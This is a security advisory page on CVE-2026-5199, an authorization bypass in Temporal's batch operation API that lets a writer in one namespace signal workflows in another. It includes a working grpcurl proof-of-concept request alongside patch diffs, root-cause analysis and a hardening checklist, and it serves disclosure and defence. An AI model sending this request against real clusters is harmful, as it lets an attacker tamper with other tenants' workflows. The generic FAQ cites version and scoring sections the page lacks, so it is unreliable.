SECURITY ADVISORY / 01

CVE-2026-5199 Exploit & Vulnerability Analysis

Complete CVE-2026-5199 security advisory with proof of concept (PoC), exploit details, and patch analysis for temporal.

temporal products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Attacker requires a writer role in an attacker-controlled namespace and access to Temporal's batch operation API on a cluster where internal frontend authorization permits cross-namespace actions.

grpcurl -plaintext \
  -d '{
    "namespaceId":"attacker-namespace-id",
    "request":{
      "namespace":"victim-namespace",
      "operation":{
        "signalOperation":{"signal":"alert"}
      }
    },
    "executions":[{"workflowId":"victim-workflow-id"}]
  }' \
  TARGET:7233 temporal.api.workflowservice.v1.WorkflowService/StartBatchOperation

The vulnerable server accepts the request even though request.namespace is a different namespace than the one bound to the worker, then executes the signal against the victim workflow. The response is success and the attacker observes the victim workflow receive the signal despite only having writer access in their own namespace.

What the Patch Did

Before:

func (a *activities) checkNamespaceID(namespaceID string) error {
    if namespaceID != a.namespaceID.String() {
        return errNamespaceMismatch
    }
    return nil
}
...
eventId, err = getResetEventIDByType(ctx, operation.ResetOperation.ResetType, batchOperation.Request.Namespace, execution, frontendClient, logger)

After:

func (a *activities) checkNamespaceProtobuf(batchParams *batchspb.BatchOperationInput) error {
    if batchParams.NamespaceId != a.namespaceID.String() {
        return errNamespaceMismatch
    }
    ns := a.namespace.String()
    if req := batchParams.GetRequest(); req != nil && req.GetNamespace() != ns {
        return errNamespaceMismatch
    }
    return nil
}
...
eventId, err = getResetEventIDByType(ctx, operation.ResetOperation.ResetType, namespace, execution, frontendClient, logger)

The patch adds an explicit check that the request's namespace name matches the worker's trusted namespace and stops using the attacker-controlled batchOperation.Request.Namespace for reset event lookup. This is an authorization control: it prevents an untrusted request field from overriding the worker-bound namespace used for privileged internal calls.

Root Cause

This was an authorization bypass (CWE-862) caused by inconsistent namespace validation. The exploit path starts with BatchOperationInput.Request.Namespace from a victim-controlled StartBatchOperation payload. The code already validated BatchOperationInput.NamespaceId, but it did not verify that the embedded Request.Namespace agreed with the worker's own bound namespace. That attacker-controlled namespace name was later used in internal operations like signaling workflows and reset event lookup, crossing the trust boundary between the user's batch request and the server-trusted worker identity.

Why It Works

The load-bearing fix is the added req.GetNamespace() != ns check inside checkNamespaceProtobuf. Without that line, the worker would still accept a batch request where NamespaceId matches the worker but Request.Namespace is a different namespace, and the worker would continue using the supplied namespace name for internal frontend calls. The preceding NamespaceId check and the reset-path replacement with namespace are both important secondary protections: one confirms the request targets the worker's namespace ID, and the other prevents reset logic from reading the wrong namespace name from the request object.

Hardening Checklist

  • Compare both namespace ID and namespace name when request objects carry both fields, instead of validating only one.
  • Never use request-supplied namespace strings for internal RPC calls such as SignalWorkflowExecution or reset event lookups.
  • Use server-trusted namespace state (a.namespace.String() / worker-bound namespace) as the source of truth for authorization decisions.
  • Apply strict authorization or TLS-based identity validation on internal frontend components to avoid trusting worker-local credential scopes.
  • Add regression tests for mismatched BatchOperationInput.NamespaceId and StartBatchOperationRequest.Namespace combinations.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-5199

Frequently asked questions about CVE-2026-5199

What is CVE-2026-5199?

CVE-2026-5199 is a security vulnerability identified in temporal. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-5199?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-5199. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-5199 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting temporal. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-5199?

CVE-2026-5199 affects temporal. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-5199?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for temporal.

What is the CVSS score for CVE-2026-5199?

The severity rating and CVSS scoring for CVE-2026-5199 affecting temporal is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.